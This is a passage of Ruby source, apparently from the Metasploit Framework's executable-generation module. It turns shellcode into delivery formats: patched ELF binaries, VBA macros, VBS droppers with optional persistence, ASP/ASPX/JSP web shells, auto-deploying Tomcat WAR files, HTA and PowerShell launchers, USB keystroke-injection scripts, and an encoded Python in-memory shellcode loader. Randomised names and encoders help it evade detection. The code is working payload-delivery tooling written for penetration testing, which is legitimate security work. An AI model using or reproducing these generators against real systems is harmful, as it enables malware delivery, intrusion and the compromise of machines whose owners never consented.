zip.pack
999
end
1000
1001
# Create an ELF executable containing the payload provided in +code+
1002
#
1003
# For the default template, this method just appends the payload, checks if
1004
# the template is 32 or 64 bit and adjusts the offsets accordingly
1005
# For user-provided templates, modifies the header to mark all executable
1006
# segments as writable and overwrites the entrypoint (usually _start) with
1007
# the payload.
1008
# @param framework [Msf::Framework] The framework of you want to use
1009
# @param opts [Hash]
1010
# @option [String] :template
1011
# @param template [String]
1012
# @param code [String]
1013
# @param big_endian [Boolean] Set to "false" by default
1014
# @return [String]
1015
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
1016
if elf? code
1017
return code
1018
end
1019
1020
# Allow the user to specify their own template
1021
set_template_default(opts, template)
1022
1023
# The old way to do it is like other formats, just overwrite a big
1024
# block of rwx mem with our shellcode.
1025
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
1026
#co = elf.index( " " * 512 )
1027
#elf[bo, 2048] = [code].pack('a2048') if bo
1028
1029
# The new template is just an ELF header with its entry point set to
1030
# the end of the file, so just append shellcode to it and fixup
1031
# p_filesz and p_memsz in the header for a working ELF executable.
1032
elf = self.get_file_contents(opts[:template])
1033
elf << code
1034
1035
# Check EI_CLASS to determine if the header is 32 or 64 bit
1036
# Use the proper offsets and pack size
1037
case elf[4,1].unpack("C").first
1038
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
1039
if big_endian
1040
elf[0x44,4] = [elf.length].pack('N') #p_filesz
1041
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
1042
else # little endian
1043
elf[0x44,4] = [elf.length].pack('V') #p_filesz
1044
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
1045
end
1046
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
1047
if big_endian
1048
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
1049
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
1050
else # little endian
1051
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
1052
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
1053
end
1054
else
1055
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
1056
end
1057
1058
elf
1059
end
1060
1061
# Create a 32-bit Linux ELF containing the payload provided in +code+
1062
#
1063
# @param framework [Msf::Framework] The framework of you want to use
1064
# @param code [String]
1065
# @param opts [Hash]
1066
# @option [String] :template
1067
# @return [String] Returns an elf
1068
def self.to_linux_x86_elf(framework, code, opts = {})
1069
default = true unless opts[:template]
1070
1071
if default
1072
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
1073
else
1074
# Use set_template_default to normalize the :template key. It will just end up doing
1075
# opts[:template] = File.join(opts[:template_path], opts[:template])
1076
# for us, check if the file exists.
1077
set_template_default(opts, 'template_x86_linux.bin')
1078
1079
# If this isn't our normal template, we have to do some fancy
1080
# header patching to mark the .text section rwx before putting our
1081
# payload into the entry point.
1082
1083
# read in the template and parse it
1084
e = Metasm::ELF.decode_file(opts[:template])
1085
1086
# This will become a modified copy of the template's original phdr
1087
new_phdr = Metasm::EncodedData.new
1088
e.segments.each { |s|
1089
# Be lazy and mark any executable segment as writable. Doing
1090
# it this way means we don't have to care about which one
1091
# contains .text
1092
s.flags += [ "W" ] if s.flags.include? "X"
1093
new_phdr << s.encode(e)
1094
}
1095
1096
# Copy the original file
1097
elf = self.get_file_contents(opts[:template], "rb")
1098
1099
# Replace the header with our rwx modified version
1100
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
1101
1102
# Replace code at the entrypoint with our payload
1103
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
1104
elf[entry_off, code.length] = code
1105
end
1106
1107
elf
1108
end
1109
1110
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
1111
#
1112
# @param framework [Msf::Framework]
1113
# @param code [String]
1114
# @param opts [Hash]
1115
# @option [String] :template
1116
# @return [String] Returns an elf
1117
def self.to_bsd_x86_elf(framework, code, opts = {})
1118
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
1119
end
1120
1121
# Create a 64-bit Linux ELF containing the payload provided in +code+
1122
#
1123
# @param framework [Msf::Framework]
1124
# @param code [String]
1125
# @param opts [Hash]
1126
# @option [String] :template
1127
# @return [String] Returns an elf
1128
def self.to_bsd_x64_elf(framework, code, opts = {})
1129
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
1130
end
1131
1132
# Create a 32-bit Solaris ELF containing the payload provided in +code+
1133
#
1134
# @param framework [Msf::Framework]
1135
# @param code [String]
1136
# @param opts [Hash]
1137
# @option [String] :template
1138
# @return [String] Returns an elf
1139
def self.to_solaris_x86_elf(framework, code, opts = {})
1140
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
1141
end
1142
1143
# Create a 64-bit Linux ELF containing the payload provided in +code+
1144
#
1145
# @param framework [Msf::Framework]
1146
# @param code [String]
1147
# @param opts [Hash]
1148
# @option [String] :template
1149
# @return [String] Returns an elf
1150
def self.to_linux_x64_elf(framework, code, opts = {})
1151
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
1152
end
1153
1154
# Create a 32-bit Linux ELF_DYN containing the payload provided in +code+
1155
#
1156
# @param framework [Msf::Framework]
1157
# @param code [String]
1158
# @param opts [Hash]
1159
# @option [String] :template
1160
# @return [String] Returns an elf
1161
def self.to_linux_x86_elf_dll(framework, code, opts = {})
1162
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
1163
end
1164
1165
# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+
1166
#
1167
# @param framework [Msf::Framework]
1168
# @param code [String]
1169
# @param opts [Hash]
1170
# @option [String] :template
1171
# @return [String] Returns an elf
1172
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
1173
to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
1174
end
1175
1176
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
1177
#
1178
# @param framework [Msf::Framework]
1179
# @param code [String]
1180
# @param opts [Hash]
1181
# @option [String] :template
1182
# @return [String] Returns an elf
1183
def self.to_linux_x64_elf_dll(framework, code, opts = {})
1184
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
1185
end
1186
1187
# self.to_linux_armle_elf
1188
#
1189
# @param framework [Msf::Framework]
1190
# @param code [String]
1191
# @param opts [Hash]
1192
# @option [String] :template
1193
# @return [String] Returns an elf
1194
def self.to_linux_armle_elf(framework, code, opts = {})
1195
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
1196
end
1197
1198
# self.to_linux_armle_elf_dll
1199
#
1200
# @param framework [Msf::Framework]
1201
# @param code [String]
1202
# @param opts [Hash]
1203
# @option [String] :template
1204
# @return [String] Returns an elf-so
1205
def self.to_linux_armle_elf_dll(framework, code, opts = {})
1206
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
1207
end
1208
1209
# self.to_linux_aarch64_elf
1210
#
1211
# @param framework [Msf::Framework]
1212
# @param code [String]
1213
# @param opts [Hash]
1214
# @option [String] :template
1215
# @return [String] Returns an elf
1216
def self.to_linux_aarch64_elf(framework, code, opts = {})
1217
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
1218
end
1219
1220
# self.to_linux_mipsle_elf
1221
# Little Endian
1222
# @param framework [Msf::Framework]
1223
# @param code [String]
1224
# @param opts [Hash]
1225
# @option [String] :template
1226
# @return [String] Returns an elf
1227
def self.to_linux_mipsle_elf(framework, code, opts = {})
1228
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
1229
end
1230
1231
# self.to_linux_mipsbe_elf
1232
# Big Endian
1233
# @param framework [Msf::Framework]
1234
# @param code [String]
1235
# @param opts [Hash]
1236
# @option [String] :template
1237
# @return [String] Returns an elf
1238
def self.to_linux_mipsbe_elf(framework, code, opts = {})
1239
to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
1240
end
1241
1242
# self.to_exe_vba
1243
#
1244
# @param exes [String]
1245
def self.to_exe_vba(exes='')
1246
exe = exes.unpack('C*')
1247
hash_sub = {}
1248
idx = 0
1249
maxbytes = 2000
1250
var_base_idx = 0
1251
var_base = Rex::Text.rand_text_alpha(5).capitalize
1252
1253
# First write the macro into the vba file
1254
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
1255
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
1256
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
1257
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
1258
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
1259
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
1260
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
1261
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
1262
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
1263
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
1264
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
1265
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
1266
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1267
1268
# Function 1 extracts the binary
1269
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
1270
1271
# Function 2 executes the binary
1272
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
1273
1274
hash_sub[:data] = ""
1275
1276
# Writing the bytes of the exe to the file
1277
1.upto(exe.length) do |pc|
1278
while c = exe[idx]
1279
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
1280
if idx > 1 && (idx % maxbytes) == 0
1281
# When maxbytes are written make a new paragrpah
1282
hash_sub[:data] << "\r\n"
1283
end
1284
idx += 1
1285
end
1286
end
1287
1288
read_replace_script_template("to_exe.vba.template", hash_sub)
1289
end
1290
1291
# self.to_vba
1292
#
1293
# @param framework [Msf::Framework]
1294
# @param code [String]
1295
# @param opts [Hash] Unused
1296
def self.to_vba(framework,code,opts = {})
1297
hash_sub = {}
1298
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1299
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1300
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1301
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1302
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1303
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1304
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1305
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1306
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1307
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1308
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1309
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1310
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1311
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1312
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1313
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1314
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1315
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
1316
1317
# put the shellcode bytes into an array
1318
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
1319
1320
read_replace_script_template("to_mem.vba.template", hash_sub)
1321
end
1322
1323
# self.to_powershell_vba
1324
#
1325
# @param framework [Msf::Framework]
1326
# @param arch [String]
1327
# @param code [String]
1328
#
1329
def self.to_powershell_vba(framework, arch, code)
1330
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1331
1332
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1333
arch,
1334
template_path,
1335
encode_final_payload: true,
1336
remove_comspec: true,
1337
method: 'reflection')
1338
1339
# Initialize rig and value names
1340
rig = Rex::RandomIdentifier::Generator.new()
1341
rig.init_var(:sub_auto_open)
1342
rig.init_var(:var_powershell)
1343
1344
hash_sub = rig.to_h
1345
# VBA has a maximum of 24 line continuations
1346
line_length = powershell.length / 24
1347
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
1348
1349
hash_sub[:powershell] = vba_psh
1350
1351
read_replace_script_template("to_powershell.vba.template", hash_sub)
1352
end
1353
1354
# self.to_exe_vba
1355
#
1356
# @param exes [String]
1357
# @param opts [Hash]
1358
# @option opts [String] :delay
1359
# @option opts [String] :persists
1360
# @option opts [String] :exe_filename
1361
def self.to_exe_vbs(exes = '', opts = {})
1362
delay = opts[:delay] || 5
1363
persist = opts[:persist] || false
1364
1365
hash_sub = {}
1366
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
1367
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64'
1368
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
1369
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1370
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1371
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1372
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1373
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1374
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1375
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1376
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
1377
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8)
1378
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8)
1379
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8)
1380
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8)
1381
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1382
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8)
1383
hash_sub[:init] = ""
1384
1385
if persist
1386
hash_sub[:init] << "Do\r\n"
1387
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1388
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
1389
hash_sub[:init] << "Loop\r\n"
1390
else
1391
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
1392
end
1393
1394
read_replace_script_template("to_exe.vbs.template", hash_sub)
1395
end
1396
1397
# self.to_exe_asp
1398
#
1399
# @param exes [String]
1400
# @param opts [Hash] Unused
1401
def self.to_exe_asp(exes = '', opts = {})
1402
hash_sub = {}
1403
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
1404
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
1405
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
1406
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
1407
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
1408
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
1409
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1410
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1411
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1412
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
1413
read_replace_script_template("to_exe.asp.template", hash_sub)
1414
end
1415
1416
# self.to_exe_aspx
1417
#
1418
# @param exes [String]
1419
# @option opts [Hash]
1420
def self.to_exe_aspx(exes = '', opts = {})
1421
hash_sub = {}
1422
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
1423
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
1424
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
1425
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
1426
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
1427
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
1428
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1429
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
1430
read_replace_script_template("to_exe.aspx.template", hash_sub)
1431
end
1432
1433
def self.to_mem_aspx(framework, code, exeopts = {})
1434
# Initialize rig and value names
1435
rig = Rex::RandomIdentifier::Generator.new()
1436
rig.init_var(:var_funcAddr)
1437
rig.init_var(:var_hThread)
1438
rig.init_var(:var_pInfo)
1439
rig.init_var(:var_threadId)
1440
rig.init_var(:var_bytearray)
1441
1442
hash_sub = rig.to_h
1443
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
1444
1445
read_replace_script_template("to_mem.aspx.template", hash_sub)
1446
end
1447
1448
def self.to_win32pe_psh_net(framework, code, opts={})
1449
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1450
end
1451
1452
def self.to_win32pe_psh(framework, code, opts = {})
1453
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1454
end
1455
1456
#
1457
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
1458
# Tweaked by shellster
1459
# Originally from PowerSploit
1460
#
1461
def self.to_win32pe_psh_reflection(framework, code, opts = {})
1462
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1463
end
1464
1465
def self.to_powershell_command(framework, arch, code)
1466
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1467
Rex::Powershell::Command.cmd_psh_payload(code,
1468
arch,
1469
template_path,
1470
encode_final_payload: true,
1471
method: 'reflection')
1472
end
1473
1474
def self.to_powershell_ducky_script(framework, arch, code)
1475
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1476
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1477
arch,
1478
template_path,
1479
encode_final_payload: true,
1480
method: 'reflection')
1481
replacers = {}
1482
replacers[:var_payload] = powershell
1483
read_replace_script_template("to_powershell.ducky_script.template", replacers)
1484
end
1485
1486
def self.to_powershell_hta(framework, arch, code)
1487
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
1488
1489
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1490
arch,
1491
template_path,
1492
encode_final_payload: true,
1493
remove_comspec: true,
1494
method: 'reflection')
1495
1496
# Initialize rig and value names
1497
rig = Rex::RandomIdentifier::Generator.new()
1498
rig.init_var(:var_shell)
1499
rig.init_var(:var_fso)
1500
1501
hash_sub = rig.to_h
1502
hash_sub[:powershell] = powershell
1503
1504
read_replace_script_template("to_powershell.hta.template", hash_sub)
1505
end
1506
1507
def self.to_python_reflection(framework, arch, code, exeopts)
1508
unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
1509
raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
1510
end
1511
python_code = <<~PYTHON
1512
#{Rex::Text.to_python(code)}
1513
import ctypes,os
1514
if os.name == 'nt':
1515
cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
1516
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
1517
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
1518
ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
1519
ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
1520
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1521
else:
1522
import mmap
1523
from ctypes.util import find_library
1524
c = ctypes.CDLL(find_library('c'))
1525
c.mmap.restype = ctypes.c_void_p
1526
ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
1527
ctypes.memmove(ptr,buf,len(buf))
1528
c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
1529
c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
1530
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
1531
PYTHON
1532
1533
"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
1534
end
1535
1536
def self.to_win32pe_psh_msil(framework, code, opts = {})
1537
Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1538
end
1539
1540
def self.to_win32pe_psh_rc4(framework, code, opts = {})
1541
# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
1542
# this method should be called after other to_win32pe_psh_* methods to wrap the output
1543
Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
1544
end
1545
1546
def self.to_jsp(exe)
1547
hash_sub = {}
1548
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
1549
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
1550
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
1551
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
1552
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
1553
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
1554
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
1555
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
1556
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
1557
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
1558
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
1559
1560
payload_hex = exe.unpack('H*')[0]
1561
hash_sub[:payload] = payload_hex
1562
1563
read_replace_script_template("to_exe.jsp.template", hash_sub)
1564
end
1565
1566
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
1567
# payload. The jsp page converts the hexdump back to a normal binary file
1568
# and places it in the temp directory. The payload file is then executed.
1569
#
1570
# @see to_war
1571
# @param exe [String] Executable to drop and run.
1572
# @param opts (see to_war)
1573
# @option opts (see to_war)
1574
# @return (see to_war)
1575
def self.to_jsp_war(exe, opts = {})
1576
template = self.to_jsp(exe)
1577
self.to_war(template, opts)
1578
end
1579
1580
def self.to_win32pe_vbs(framework, code, opts = {})
1581
to_exe_vbs(to_win32pe(framework, code, opts), opts)
1582
end
1583
1584
def self.to_win64pe_vbs(framework, code, opts = {})
1585
to_exe_vbs(to_win64pe(framework, code, opts), opts)
1586
end
1587
1588
# Creates a jar file that drops the provided +exe+ into a random file name
1589
# in the system's temp dir and executes it.
1590
#
1591
# @see Msf::Payload::Java
1592
#
1593
# @return [Rex::Zip::Jar]
1594
def self.to_jar(exe, opts = {})
1595
spawn = opts[:spawn] || 2
1596
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
1597
zip = Rex::Zip::Jar.new
1598
zip.add_sub("metasploit") if opts[:random]
1599
paths = [
1600
[ "metasploit", "Payload.class" ],
1601
]
1602
1603
zip.add_file('metasploit/', '')
1604
paths.each do |path_parts|
1605
path = ['java', path_parts].flatten.join('/')
1606
contents = ::MetasploitPayloads.read(path)
1607
zip.add_file(path_parts.join('/'), contents)
1608
end
1609
1610
zip.build_manifest :main_class => "metasploit.Payload"
1611
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
1612
zip.add_file("metasploit.dat", config)
1613
zip.add_file(exe_name, exe)
1614
1615
zip
1616
end
1617
1618
# Creates a Web Archive (WAR) file from the provided jsp code.
1619
#
1620
# On Tomcat, WAR files will be deployed into a directory with the same name
1621
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
1622
# server is in a default configuration, deoployment will happen
1623
# automatically. See
1624
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
1625
# documentation} for a description of how this works.
1626
#
1627
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
1628
# in the archive. This will be compiled by the victim servlet container
1629
# (e.g., Tomcat) and act as the main function for the servlet.
1630
# @param opts [Hash]
1631
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
1632
# _without the .jsp extension_. Defaults to random.
1633
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
1634
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
1635
# random.
1636
# @option opts :extra_files [Array<String,String>] Additional files to add
1637
# to the archive. First element is filename, second is data
1638
#
1639
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
1640
#
1641
# @return [String]
1642
def self.to_war(jsp_raw, opts = {})
1643
jsp_name = opts[:jsp_name]
1644
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1645
app_name = opts[:app_name]
1646
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
1647
1648
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
1649
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
1650
web_xml = %q{<?xml version="1.0"?>
1651
<!DOCTYPE web-app PUBLIC
1652
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
1653
"http://java.sun.com/dtd/web-app_2_3.dtd">
1654
<web-app>
1655
<servlet>
1656
<servlet-name>NAME</servlet-name>
1657
<jsp-file>/PAYLOAD.jsp</jsp-file>
1658
</servlet>
1659
</web-app>
1660
}
1661
web_xml.gsub!(/NAME/, app_name)
1662
web_xml.gsub!(/PAYLOAD/, jsp_name)
1663
1664
zip = Rex::Zip::Archive.new
1665
zip.add_file('META-INF/', '', meta_inf)
1666
zip.add_file('META-INF/MANIFEST.MF', manifest)
1667
zip.add_file('WEB-INF/', '')
1668
zip.add_file('WEB-INF/web.xml', web_xml)
1669
# add the payload
1670
zip.add_file("#{jsp_name}.jsp", jsp_raw)
1671
1672
# add extra files
1673
if opts[:extra_files]
1674
opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
1675
end
1676
1677
zip.pack
1678
end
1679
1680
# Creates a .NET DLL which loads data into memory
1681
# at a specified location with read/execute permissions
1682
# - the data will be loaded at: base+0x2065
1683
# - default max size is 0x8000 (32768)
1684
# @param base [Integer] Default location set to base 0x12340000
1685
# @param data [String]
1686
# @param opts [Hash]
1687
# @option [String] :template
1688
# @option [String] :base_offset
1689
# @option [String] :timestamp_offset
1690
# @option [String] :text_offset
1691
# @option [String] :pack
1692
# @option [String] :uuid_offset
1693
# @return [String]
1694
def self.to_dotnetmem(base=0x12340000, data="", opts = {})
1695
1696
# Allow the user to specify their own DLL template
1697
set_template_default(opts, "dotnetmem.dll")
1698
1699
pe = self.get_file_contents(opts[:template])
1700
1701
# Configure the image base
1702
base_offset = opts[:base_offset] || 180
1703
pe[base_offset, 4] = [base].pack('V')
1704
1705
# Configure the TimeDateStamp
1706
timestamp_offset = opts[:timestamp_offset] || 136
1707
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
1708
1709
# XXX: Unfortunately we cant make this RWX only RX
1710
# Mark this segment as read-execute AND writable
1711
# pe[412,4] = [0xe0000020].pack("V")
1712
1713
# Write the data into the .text segment
1714
text_offset = opts[:text_offset] || 0x1065
1715
text_max = opts[:text_max] || 0x8000
1716
pack = opts[:pack] || 'a32768'
1717
pe[text_offset, text_max] = [data].pack(pack)
1718
1719
# Generic a randomized UUID
1720
uuid_offset = opts[:uuid_offset] || 37656
1721
pe[uuid_offset,16] = Rex::Text.rand_text(16)
1722
1723
pe
1724
end
1725
1726
# self.encode_stub
1727
#
1728
# @param framework [Msf::Framework]
1729
# @param arch [String]
1730
# @param code [String]
1731
# @param platform [String]
1732
# @param badchars [String]
1733
def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
1734
return code unless framework.encoders
1735
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
1736
begin
1737
enc = framework.encoders.create(name)
1738
raw = enc.encode(code, badchars, nil, platform)
1739
return raw if raw
1740
rescue
1741
end
1742
end
1743
nil
1744
end
1745
1746
def self.generate_nops(framework, arch, len, opts = {})
1747
opts['BadChars'] ||= ''
1748
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
1749
1750
return nil unless framework.nops
1751
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
1752
begin
1753
nop = framework.nops.create(name)
1754
raw = nop.generate_sled(len, opts)
1755
return raw if raw
1756
rescue
1757
# @TODO: stop rescuing everying on each of these, be selective
1758
end
1759
end
1760
nil
